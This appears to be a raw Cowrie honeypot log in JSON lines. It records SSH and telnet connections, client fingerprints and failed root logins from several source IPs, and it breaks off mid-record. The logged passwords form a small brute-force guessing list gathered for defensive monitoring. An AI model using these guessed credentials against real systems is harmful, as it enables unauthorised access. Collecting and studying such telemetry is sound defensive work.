{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:39.976432Z","src_ip":"103.210.22.17","session":"1456c80dd202","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58620,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d409647ec75","protocol":"telnet","message":"New connection: 192.119.13.58:58620 (10.17.0.5:23) [session: 7d409647ec75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:40.099681Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"K0nig@12","message":"login attempt [root/K0nig@12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:40.823961Z","src_ip":"103.210.22.17","session":"1456c80dd202","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:42.044039Z","src_ip":"103.210.22.17","session":"1456c80dd202","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.233.48.169","src_port":48772,"dst_ip":"10.17.0.5","dst_port":22,"session":"f28c73043949","protocol":"ssh","message":"New connection: 193.233.48.169:48772 (10.17.0.5:22) [session: f28c73043949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:45.550133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:45.555412Z","src_ip":"193.233.48.169","session":"f28c73043949","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:45.678337Z","src_ip":"193.233.48.169","session":"f28c73043949","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"backup01","message":"login attempt [root/backup01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:46.198970Z","src_ip":"193.233.48.169","session":"f28c73043949","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.241.230","src_port":54362,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a7696f9da49","protocol":"ssh","message":"New connection: 49.51.241.230:54362 (159.203.135.109:22) [session: 3a7696f9da49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:46.923364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:46.928068Z","src_ip":"49.51.241.230","session":"3a7696f9da49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:46.995792Z","src_ip":"49.51.241.230","session":"3a7696f9da49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer123456","message":"login attempt [root/qwer123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:47.297318Z","src_ip":"49.51.241.230","session":"3a7696f9da49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:47.324609Z","src_ip":"193.233.48.169","session":"f28c73043949","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:48.368348Z","src_ip":"49.51.241.230","session":"3a7696f9da49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42868,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b142b77df73","protocol":"telnet","message":"New connection: 192.119.13.58:42868 (10.17.0.5:23) [session: 7b142b77df73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:49.626773Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.177.27","src_port":35838,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b2787cecd56","protocol":"ssh","message":"New connection: 43.134.177.27:35838 (10.17.0.5:22) [session: 9b2787cecd56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:49.743304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:49.748399Z","src_ip":"43.134.177.27","session":"9b2787cecd56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:49.979660Z","src_ip":"43.134.177.27","session":"9b2787cecd56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.126.224.134","src_port":52354,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ad29f2f5788","protocol":"ssh","message":"New connection: 59.126.224.134:52354 (10.17.0.5:22) [session: 0ad29f2f5788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:50.833773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:50.838017Z","src_ip":"59.126.224.134","session":"0ad29f2f5788","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedcrfvtgb123321","message":"login attempt [root/qazwsxedcrfvtgb123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:50.935394Z","src_ip":"43.134.177.27","session":"9b2787cecd56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:51.041645Z","src_ip":"59.126.224.134","session":"0ad29f2f5788","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hitesh","message":"login attempt [root/hitesh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:51.910676Z","src_ip":"59.126.224.134","session":"0ad29f2f5788","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:52.169766Z","src_ip":"43.134.177.27","session":"9b2787cecd56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:53.118463Z","src_ip":"59.126.224.134","session":"0ad29f2f5788","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":41624,"dst_ip":"10.17.0.5","dst_port":22,"session":"26082239c2c3","protocol":"ssh","message":"New connection: 103.195.236.96:41624 (10.17.0.5:22) [session: 26082239c2c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:55.315414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:55.321314Z","src_ip":"103.195.236.96","session":"26082239c2c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:55.560770Z","src_ip":"103.195.236.96","session":"26082239c2c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111angel777","message":"login attempt [root/111angel777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:56.275378Z","src_ip":"103.195.236.96","session":"26082239c2c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:41:57.523940Z","src_ip":"103.195.236.96","session":"26082239c2c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.30498003959656,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:04.527451Z","src_ip":"192.119.13.58","session":"6849eb56718e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.696802377700806,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:05.166395Z","src_ip":"192.119.13.58","session":"b0e3f4eb5a00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56770,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ba2aab36ab2","protocol":"telnet","message":"New connection: 192.119.13.58:56770 (10.17.0.5:23) [session: 3ba2aab36ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:06.241182Z"}
{"eventid":"cowrie.session.closed","duration":47.04564118385315,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:08.724010Z","src_ip":"192.119.13.58","session":"67259b1815ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.07240843772888,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:09.378798Z","src_ip":"192.119.13.58","session":"f4e11fc99585","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44524,"dst_ip":"10.17.0.5","dst_port":23,"session":"a59050608caf","protocol":"telnet","message":"New connection: 192.119.13.58:44524 (10.17.0.5:23) [session: a59050608caf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:09.498597Z"}
{"eventid":"cowrie.session.closed","duration":37.607155561447144,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:10.618787Z","src_ip":"192.119.13.58","session":"71c04e0fa7b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.07935428619385,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:11.293612Z","src_ip":"192.119.13.58","session":"0fb71ef700d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39106,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fdd2f4c1df2","protocol":"telnet","message":"New connection: 192.119.13.58:39106 (10.17.0.5:23) [session: 4fdd2f4c1df2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:15.407455Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40028,"dst_ip":"10.17.0.5","dst_port":23,"session":"799521d19ef7","protocol":"telnet","message":"New connection: 192.119.13.58:40028 (10.17.0.5:23) [session: 799521d19ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:15.620205Z"}
{"eventid":"cowrie.session.closed","duration":37.48289251327515,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:17.582459Z","src_ip":"192.119.13.58","session":"7d409647ec75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.33416199684143,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:21.960855Z","src_ip":"192.119.13.58","session":"7b142b77df73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.177.27","src_port":56346,"dst_ip":"10.17.0.5","dst_port":22,"session":"1591dd8edc25","protocol":"ssh","message":"New connection: 43.134.177.27:56346 (10.17.0.5:22) [session: 1591dd8edc25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:25.675101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:25.679820Z","src_ip":"43.134.177.27","session":"1591dd8edc25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:25.918769Z","src_ip":"43.134.177.27","session":"1591dd8edc25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"backup01","message":"login attempt [root/backup01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:26.903422Z","src_ip":"43.134.177.27","session":"1591dd8edc25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":40160,"dst_ip":"10.17.0.5","dst_port":22,"session":"418c7ab7bab4","protocol":"ssh","message":"New connection: 80.94.92.184:40160 (10.17.0.5:22) [session: 418c7ab7bab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:27.946216Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:28.148452Z","src_ip":"43.134.177.27","session":"1591dd8edc25","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:42:28.335270Z","src_ip":"80.94.92.184","session":"418c7ab7bab4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v0